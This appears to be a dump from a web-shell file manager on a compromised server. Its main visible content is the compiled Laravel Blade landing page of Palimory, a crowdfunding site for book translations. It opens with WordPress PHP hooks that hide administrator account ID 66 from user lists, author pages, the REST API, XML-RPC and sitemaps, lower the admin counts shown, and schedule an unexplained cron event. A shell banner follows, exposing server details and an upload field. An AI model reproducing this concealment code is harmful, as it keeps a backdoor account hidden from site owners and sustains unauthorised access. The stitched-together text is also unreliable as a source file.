add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/palimory/storage/framework/views/ |
Upload File : |
<?php if (isset($component)) { $__componentOriginal9ac128a9029c0e4701924bd2d73d7f54 = $component; } ?>
<?php if (isset($attributes)) { $__attributesOriginal9ac128a9029c0e4701924bd2d73d7f54 = $attributes; } ?>
<?php $component = App\View\Components\AppLayout::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? $attributes->all() : [])); ?>
<?php $component->withName('app-layout'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag): ?>
<?php $attributes = $attributes->except(\App\View\Components\AppLayout::ignoredParameterNames()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<section class="atlas-hero atlas-grid">
<div class="atlas-hero__meta">
<span>For the futures-curious</span>
<span>Est. 2026 · Europe & Beyond</span>
</div>
<hr class="atlas-rule">
<div class="row align-items-center g-5">
<div class="col-lg-7">
<h1 class="atlas-headline">
Find <em>tomorrow’s</em> stories.<br>
Fund their
<span class="atlas-headline__o">crossing</span>.
</h1>
<p class="atlas-lead">
The most original visions of what’s next are being written in
languages you’ll never read. Find the stories worth crossing over,
fund their translation, and be the reader who brought them across —
before anyone else.
</p>
<div class="atlas-hero__cta">
<a href="<?php echo e(route('stories.index')); ?>" class="atlas-btn atlas-btn--solid atlas-btn--lg">Find a story</a>
<a href="#how" class="atlas-btn atlas-btn--ghost atlas-btn--lg">See how it works</a>
</div>
<div class="atlas-stats">
<div class="atlas-stat">
<div class="atlas-stat__num">1,240</div>
<div class="atlas-stat__lbl">Readers signalling</div>
</div>
<div class="atlas-stat">
<div class="atlas-stat__num">12</div>
<div class="atlas-stat__lbl">Crossings underway</div>
</div>
<div class="atlas-stat">
<div class="atlas-stat__num">56</div>
<div class="atlas-stat__lbl">Stories crossed over</div>
</div>
</div>
</div>
<div class="col-lg-5">
<div class="atlas-demand">
<div class="atlas-demand__head">
<span class="t">“Le Nutanti” — readers taking it across</span>
<span class="o">IT Origin</span>
</div>
<div class="atlas-demand__body">
<svg class="atlas-graph" viewBox="0 0 440 320" role="img"
aria-label="Routing map: Italian origin, funded into English, 41% of the way to German, early signals from Spanish and French.">
<line class="gl" x1="220" y1="170" x2="80" y2="96"></line>
<path class="gl gl--ochre" d="M220 170 Q 318 132 372 104"></path>
<line class="gl gl--dashed" x1="220" y1="170" x2="84" y2="252"></line>
<line class="gl gl--dashed" x1="220" y1="170" x2="362" y2="254"></line>
<circle class="gn--pulse" cx="220" cy="170" r="9"></circle>
<circle class="gn--ochre" cx="220" cy="170" r="8.5"></circle>
<text class="glabel" x="220" y="196" text-anchor="middle">IT · origin</text>
<circle class="gn--green" cx="80" cy="96" r="7"></circle>
<text class="glabel" x="80" y="76" text-anchor="middle">EN · funded</text>
<circle class="gn--hollow" cx="372" cy="104" r="6.5"></circle>
<text class="glabel" x="372" y="84" text-anchor="middle">DE · 41%</text>
<circle class="gn--hollow" cx="84" cy="252" r="5.5"></circle>
<text class="glabel glabel--muted" x="84" y="276" text-anchor="middle">ES · signal</text>
<circle class="gn--hollow" cx="362" cy="254" r="5.5"></circle>
<text class="glabel glabel--muted" x="362" y="278" text-anchor="middle">FR · signal</text>
</svg>
</div>
<div class="atlas-demand__foot">
<span class="atlas-livedot"></span>
<span>Live · 148 readers backing it now</span>
</div>
</div>
</div>
</div>
</section>
<section id="how" class="atlas-section">
<div class="atlas-eyebrow mb-3">How it works</div>
<h2 class="atlas-section__title mb-5">From a story you love to a story everyone can read</h2>
<div class="row g-4 text-center">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php $__currentLoopData = [
['1', 'Discover', 'Find a story from fiction’s frontier — on a billboard, in your feed, or right here'],
['2', 'Signal', 'Say you’d read it in your language. That’s your signal — and it counts'],
['3', 'Rally', 'Your signal joins others into real, visible demand for the crossing'],
['4', 'Fund', 'Pledge to fund the translation — all-or-nothing, so you only pay if it happens'],
['5', 'Read', 'A translator carries it across — and you’re first to read it, and the reason it exists'],
]; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as [$n, $title, $body]): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<div class="col">
<span class="atlas-step mb-3"><?php echo e($n); ?></span>
<h6 class="fw-semibold"><?php echo e($title); ?></h6>
<p class="text-secondary small mb-0"><?php echo e($body); ?></p>
</div>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
</section>
<section class="atlas-section">
<div class="atlas-eyebrow mb-3">Where you come in</div>
<h2 class="atlas-section__title mb-5">You, and everyone who helps a story travel</h2>
<div class="row g-4">
<div class="col-md-6 col-lg-3">
<div class="card feature-card h-100 border-primary">
<div class="card-body p-4">
<svg width="34" height="34" fill="currentColor" class="text-primary mb-3" viewBox="0 0 16 16"><path d="M8 16A8 8 0 1 0 8 0a8 8 0 0 0 0 16zM3.5 7a.5.5 0 0 1 .5-.5h8a.5.5 0 0 1 0 1H4a.5.5 0 0 1-.5-.5zm0 2.5a.5.5 0 0 1 .5-.5h5a.5.5 0 0 1 0 1H4a.5.5 0 0 1-.5-.5z"/></svg>
<h5 class="fw-semibold">You, the reader</h5>
<p class="text-secondary mb-0">Find the voices imagining what’s next, signal the ones you want, and pledge to make the translation real — first to read it, and the reason it exists.</p>
</div>
</div>
</div>
<div class="col-md-6 col-lg-3">
<div class="card feature-card h-100">
<div class="card-body p-4">
<svg width="34" height="34" fill="currentColor" class="text-secondary mb-3" viewBox="0 0 16 16"><path d="M1 2.828c.885-.37 2.154-.769 3.388-.893 1.33-.134 2.458.063 3.112.752v9.746c-.935-.53-2.12-.603-3.213-.493-1.18.12-2.37.461-3.287.811V2.828zm7.5-.141c.654-.689 1.782-.886 3.112-.752 1.234.124 2.503.523 3.388.893v9.923c-.918-.35-2.107-.692-3.287-.81-1.094-.111-2.278-.039-3.213.492V2.687zM8 1.783C7.015.936 5.587.81 4.287.94c-1.514.153-3.042.672-3.994 1.105A.5.5 0 0 0 0 2.5v11a.5.5 0 0 0 .707.455c.882-.4 2.303-.881 3.68-1.02 1.409-.142 2.59.087 3.223.877a.5.5 0 0 0 .78 0c.633-.79 1.814-1.019 3.222-.877 1.378.139 2.8.62 3.681 1.02A.5.5 0 0 0 16 13.5v-11a.5.5 0 0 0-.293-.455c-.952-.433-2.48-.952-3.994-1.105C10.413.809 8.985.936 8 1.783z"/></svg>
<h5 class="fw-semibold">Authors</h5>
<p class="text-secondary mb-0">Share the stories you want the world to read — and let reader demand decide where they travel next.</p>
</div>
</div>
</div>
<div class="col-md-6 col-lg-3">
<div class="card feature-card h-100">
<div class="card-body p-4">
<svg width="34" height="34" fill="currentColor" class="text-secondary mb-3" viewBox="0 0 16 16"><path d="M3.612 15.443c-.386.198-.824-.149-.746-.592l.83-4.73L.173 6.765c-.329-.314-.158-.888.283-.95l4.898-.696L7.538.792c.197-.39.73-.39.927 0l2.184 4.327 4.898.696c.441.062.612.636.282.95l-3.522 3.356.83 4.73c.078.443-.36.79-.746.592L8 13.187l-4.389 2.256z"/></svg>
<h5 class="fw-semibold">Publishers</h5>
<p class="text-secondary mb-0">Bring your catalog to a curated shelf and see — in real demand — which titles readers are asking to translate.</p>
</div>
</div>
</div>
<div class="col-md-6 col-lg-3">
<div class="card feature-card h-100">
<div class="card-body p-4">
<svg width="34" height="34" fill="currentColor" class="text-secondary mb-3" viewBox="0 0 16 16"><path d="M0 2a2 2 0 0 1 2-2h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V2zm8.93 4.588-2.29.287-.082.38.45.083c.294.07.352.176.288.469l-.738 3.468c-.194.897.105 1.319.808 1.319.545 0 1.178-.252 1.465-.598l.088-.416c-.2.176-.492.246-.686.246-.275 0-.375-.193-.304-.533L8.93 6.588zM8 5.5a1 1 0 1 0 0-2 1 1 0 0 0 0 2z"/></svg>
<h5 class="fw-semibold">Translators</h5>
<p class="text-secondary mb-0">See which stories readers are already asking for, apply to translate, and earn a share of every crossing you make.</p>
</div>
</div>
</div>
</div>
</section>
<section id="shelves" class="atlas-section">
<div class="p-4 p-md-5 rounded-3" style="background: var(--atlas-surface); border: 1px solid var(--atlas-border);">
<div class="text-center mb-5">
<div class="atlas-eyebrow mb-3">Where the stories come from</div>
<h2 class="atlas-section__title mb-2">Two shelves, every kind of story</h2>
<p class="text-secondary mb-0">From verified publishers to independent voices — all open for you to discover and back.</p>
</div>
<div class="row g-4 justify-content-center">
<div class="col-md-6 col-lg-5">
<div class="card h-100 border-primary">
<div class="card-body p-4">
<div class="d-flex align-items-center gap-2 mb-3">
<svg width="22" height="22" fill="currentColor" class="text-primary" viewBox="0 0 16 16"><path d="M3.612 15.443c-.386.198-.824-.149-.746-.592l.83-4.73L.173 6.765c-.329-.314-.158-.888.283-.95l4.898-.696L7.538.792c.197-.39.73-.39.927 0l2.184 4.327 4.898.696c.441.062.612.636.282.95l-3.522 3.356.83 4.73c.078.443-.36.79-.746.592L8 13.187l-4.389 2.256z"/></svg>
<h4 class="fw-bold mb-0">Publisher Shelf</h4>
</div>
<p class="text-secondary mb-3">Curated works from verified publishers and editors. Quality-vetted, rights-cleared, ready for professional translation.</p>
<ul class="list-unstyled text-secondary small mb-0">
<li class="mb-1"><svg width="14" height="14" fill="currentColor" class="text-success me-1" viewBox="0 0 16 16"><path d="M13.854 3.646a.5.5 0 0 1 0 .708l-7 7a.5.5 0 0 1-.708 0l-3.5-3.5a.5.5 0 1 1 .708-.708L6.5 10.293l6.646-6.647a.5.5 0 0 1 .708 0z"/></svg> Verified publisher accounts</li>
<li class="mb-1"><svg width="14" height="14" fill="currentColor" class="text-success me-1" viewBox="0 0 16 16"><path d="M13.854 3.646a.5.5 0 0 1 0 .708l-7 7a.5.5 0 0 1-.708 0l-3.5-3.5a.5.5 0 1 1 .708-.708L6.5 10.293l6.646-6.647a.5.5 0 0 1 .708 0z"/></svg> Credited author attribution</li>
<li class="mb-1"><svg width="14" height="14" fill="currentColor" class="text-success me-1" viewBox="0 0 16 16"><path d="M13.854 3.646a.5.5 0 0 1 0 .708l-7 7a.5.5 0 0 1-.708 0l-3.5-3.5a.5.5 0 1 1 .708-.708L6.5 10.293l6.646-6.647a.5.5 0 0 1 .708 0z"/></svg> Translation demand, made visible</li>
</ul>
</div>
</div>
</div>
<div class="col-md-6 col-lg-5">
<div class="card h-100">
<div class="card-body p-4">
<div class="d-flex align-items-center gap-2 mb-3">
<svg width="22" height="22" fill="currentColor" class="text-secondary" viewBox="0 0 16 16"><path d="M15 14s1 0 1-1-1-4-5-4-5 3-5 4 1 1 1 1h8zm-7.978-1A.261.261 0 0 1 7 12.996c.001-.264.167-1.03.76-1.72C8.312 10.629 9.282 10 11 10c1.717 0 2.687.63 3.24 1.276.593.69.758 1.457.76 1.72l-.008.002a.274.274 0 0 1-.014.002H7.022zM11 7a2 2 0 1 0 0-4 2 2 0 0 0 0 4zm3-2a3 3 0 1 1-6 0 3 3 0 0 1 6 0zM6.936 9.28a5.88 5.88 0 0 0-1.23-.247A7.35 7.35 0 0 0 5 9c-4 0-5 3-5 4 0 .667.333 1 1 1h4.216A2.238 2.238 0 0 1 5 13c0-.344.044-.677.127-1C5.304 11.19 5.752 10.36 6.936 9.28z"/><path d="M3 2a1 1 0 1 1-2 0 1 1 0 0 1 2 0zm1 1a2 2 0 1 0-4 0 2 2 0 0 0 4 0z"/></svg>
<h4 class="fw-bold mb-0">Community Shelf</h4>
</div>
<p class="text-secondary mb-3">Open to all authors. Independent voices publish directly — fresh stories for you to discover before anyone else.</p>
<ul class="list-unstyled text-secondary small mb-0">
<li class="mb-1"><svg width="14" height="14" fill="currentColor" class="text-success me-1" viewBox="0 0 16 16"><path d="M13.854 3.646a.5.5 0 0 1 0 .708l-7 7a.5.5 0 0 1-.708 0l-3.5-3.5a.5.5 0 1 1 .708-.708L6.5 10.293l6.646-6.647a.5.5 0 0 1 .708 0z"/></svg> No gatekeeping — fresh voices first</li>
<li class="mb-1"><svg width="14" height="14" fill="currentColor" class="text-success me-1" viewBox="0 0 16 16"><path d="M13.854 3.646a.5.5 0 0 1 0 .708l-7 7a.5.5 0 0 1-.708 0l-3.5-3.5a.5.5 0 1 1 .708-.708L6.5 10.293l6.646-6.647a.5.5 0 0 1 .708 0z"/></svg> Authors set their own translation policy</li>
<li class="mb-1"><svg width="14" height="14" fill="currentColor" class="text-success me-1" viewBox="0 0 16 16"><path d="M13.854 3.646a.5.5 0 0 1 0 .708l-7 7a.5.5 0 0 1-.708 0l-3.5-3.5a.5.5 0 1 1 .708-.708L6.5 10.293l6.646-6.647a.5.5 0 0 1 .708 0z"/></svg> Your pledge helps a new voice cross over</li>
</ul>
</div>
</div>
</div>
</div>
<div class="text-center mt-4">
<a href="<?php echo e(route('stories.index')); ?>" class="atlas-btn atlas-btn--ghost">Explore both shelves</a>
</div>
</div>
</section>
<section class="atlas-section text-center">
<div class="row justify-content-center">
<div class="col-lg-8">
<div class="atlas-eyebrow mb-3 justify-content-center">Why this matters</div>
<h2 class="atlas-section__title mb-4">The future isn’t only written in English</h2>
<p class="atlas-lead mx-auto mb-4">
Somewhere, in a language you don’t read, your next favourite story already
exists — and you may never hear of it. Not because it isn’t good enough, but
because no one could see the readers who were waiting for it.
</p>
<p class="text-secondary mb-4">
Palimory is how the futures-curious change that. You find the voices worth crossing
over, you back them, and you turn quiet demand into translations that finally exist —
so the boldest ideas about what’s next aren’t lost at a language border.
</p>
<a href="<?php echo e(route('register')); ?>" class="atlas-btn atlas-btn--solid">Start finding stories</a>
</div>
</div>
</section>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__attributesOriginal9ac128a9029c0e4701924bd2d73d7f54)): ?>
<?php $attributes = $__attributesOriginal9ac128a9029c0e4701924bd2d73d7f54; ?>
<?php unset($__attributesOriginal9ac128a9029c0e4701924bd2d73d7f54); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal9ac128a9029c0e4701924bd2d73d7f54)): ?>
<?php $component = $__componentOriginal9ac128a9029c0e4701924bd2d73d7f54; ?>
<?php unset($__componentOriginal9ac128a9029c0e4701924bd2d73d7f54); ?>
<?php endif; ?>
<?php /**PATH /var/www/html/palimory/resources/views/welcome.blade.php ENDPATH**/ ?>